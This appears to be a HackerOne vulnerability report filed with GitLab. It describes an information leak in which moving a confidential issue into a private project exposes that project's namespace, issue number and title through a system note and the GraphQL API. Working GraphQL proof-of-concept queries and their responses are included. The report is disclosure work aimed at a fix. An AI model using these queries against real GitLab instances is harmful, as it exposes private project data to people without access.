Attacker can disclose information on confidential issues moved to private programs through Web-UI and GraphQL API
HackerOne report #758939 by 0xwintermute
on 2019-12-15, assigned to @ankelly:
Summary
Issues opened in a public project and then moved to a private project reveal the private project namespace even though if that information is not accessible through the victim nor attacker activity page. An additional query to the GraphQL will reveal the private program, the issue name and issue number.
Steps to reproduce
As victim create two projects (one private and one public). As attacker create an issue in the public project.
Now, if the victim moves the issue to a private project, the attacker will have access to the private project namespace, but also will be able to gather information about the new issue by simply querying the GraphQL API
Impact
This attack, will let an attacker to reveal the name of a private project, including issue name and issue number.
This scenario only seems to happen, when the new issue remains confidential in a private program. If the issue becomes non-confidential but still belongs to a private program. Then the GraphQL endpoint will return different information.
Example
For exploiting this vulnerability, lets gonna use two different accounts:
victim@gitlab.com
attacker@gitlab.com
As victim@gitlab.com
lets create two different projects:
-
0xroot/0xroot-project
: owner and public -
sebasbf/private-program
: maintainer and private.
The account attacker@gitlab.com
is a guest of the project 0xroot/0xroot-project
and decides to create a new confidential issue in the program, as shown below:
Getting back to our victim@gitlab.com
account. As project owner, we decide to move the confidential issue from 0xroot/0xroot-project
to the private program sebasbf/private-program
and keep the issue confidential.
As the attacker (attacker@gitlab.com
), we will get the following notification in the issue ticket:
This is something I wouldn't expect to see. As it reveals that the issue has been moved to a private program, including the program namespace and the issue number, which reveals information about a private program and how many issues have been created at the time.
This information, is no available otherwise through the web application interface.
If as an attacker, we decide to visit the victim's profile overview tab and the personal projects tab. We will see that such information about the private program is not public:
Additionally, if we open a a new graphql explorer tab as the attacker and submit the following query, we will gather similar results (please remember, that we are pinging a confidential issue in a private program, as we will get back to this later on):
GraphQL Query:
query HackerOne{
project(fullPath:"0xroot/0xroot-project"){
openIssuesCount
nameWithNamespace
issue(iid:"4"){
state
confidential
description
descriptionHtml
discussions{
nodes{
id
notes{
nodes{
author{
name
}
bodyHtml
project{
path
}
system
}
}
}
}
closedAt
state
webUrl
webPath
}
}
}
GraphQL Response:
{
"data": {
"project": {
"openIssuesCount": 1,
"nameWithNamespace": "0xroot / 0xroot-project",
"issue": {
"state": "closed",
"confidential": true,
"description": "This is a confidential issue in 0xroot-project",
"descriptionHtml": "<p data-sourcepos=\"1:1-1:46\" dir=\"auto\">This is a confidential issue in 0xroot-project</p>",
"discussions": {
"nodes": [
{
"id": "gid://gitlab/IndividualNoteDiscussion/79a246bb9440d09f704c88e451f14285458f49e8",
"notes": {
"nodes": [
{
"author": {
"name": "Sebas"
},
"bodyHtml": "<p data-sourcepos=\"1:1-1:34\" dir=\"auto\">moved to <a href=\"/sebasbf/private-program/issues/2\" data-original=\"sebasbf/private-program#2\" data-link=\"false\" data-link-reference=\"false\" data-project=\"15883104\" data-issue=\"28720283\" data-reference-type=\"issue\" data-container=\"body\" data-placement=\"bottom\" title=\"Testing issue\" class=\"gfm gfm-issue has-tooltip\">sebasbf/private-program#2</a></p>",
"project": {
"path": "0xroot-project"
},
"system": true
}
]
}
}
]
},
"closedAt": "2019-12-15T15:36:26Z",
"webUrl": "https://gitlab.com/0xroot/0xroot-project/issues/4",
"webPath": "/0xroot/0xroot-project/issues/4"
}
}
}
}
As you can see, the bodyHtml
tag reveals a pretty fare amount of sensitive information about a private program for which I should not have access, including the data-project
, the data-issue
and the data-project
tags.
Something that additionally caught my attention, is that if the victim set this new issue as non-confidential in the private program, the attacker will not have access to the information shown above. Let's see this with a practical example:
As the victim, I'm going to turn off the confidential attribute for this new moved finding into a private program:
If as an attacker I try to repeate the same GraphQL query listed above, the results may differ considerably:
GraphQL Query
query HackerOne{
project(fullPath:"0xroot/0xroot-project"){
openIssuesCount
nameWithNamespace
createdAt
issue(iid:"4"){
state
confidential
description
createdAt
descriptionHtml
discussions{
nodes{
id
notes{
nodes{
author{
name
}
bodyHtml
project{
path
}
system
}
}
}
}
closedAt
state
webUrl
webPath
}
}
}
GraphQL Response
{
"data": {
"project": {
"openIssuesCount": 1,
"nameWithNamespace": "0xroot / 0xroot-project",
"createdAt": "2019-12-14T21:17:42Z",
"issue": {
"state": "closed",
"confidential": true,
"description": "This is a confidential issue in 0xroot-project",
"createdAt": "2019-12-15T15:35:48Z",
"descriptionHtml": "<p data-sourcepos=\"1:1-1:46\" dir=\"auto\">This is a confidential issue in 0xroot-project</p>",
"discussions": {
"nodes": []
},
"closedAt": "2019-12-15T15:36:26Z",
"webUrl": "https://gitlab.com/0xroot/0xroot-project/issues/4",
"webPath": "/0xroot/0xroot-project/issues/4"
}
}
}
}
As you can see, this time the GraphQL endpoint does not reveal any sort of sensitive information about the issue.
What's the current bug behaviour?
Moved confidential issues into a private program, lets an attacker gather sensitive information about the program name, the issues counter, the program creation date, and the issue's name. Which otherwise shouldn't be accessible.
Additionally, the web application interface shows information about a private program, which otherwise is not publicly accessible neither through the victim nor attacker overview activity tab.
What's the expected correct behaviour?
The way I see this I would expect few things to happen:
-
If a confidential issue is moved to a private program, for which I do not have access. I shouldn't be able to query the GraphQL endpoint and gather sensitive information about that private program. This is something that is currently happening when the moved issue to a private program is no longer confidential. But if the issue remains confidential, the attacker will be able to extract such sensitive information.
-
Additionally, I would expect the user interface to do not expose information about the private program and the issue number that has been generated, if the attacker does not have prior access to that program. This is some sort of information that otherwise is not being disclosed through the overview activity tab in the vctim and attacker account. So, I would expect a behavior in the same line for the issue page.
Relevant logs and/or screenshots
Please see the attached screenshots on the example section
Output of checks
This bug happens on GitLab.com
Results of GitLab environment info
This is affecting the gitlab.com site
Impact
Please see the above description provided
Attachments
Warning: Attachments received through HackerOne, please exercise caution!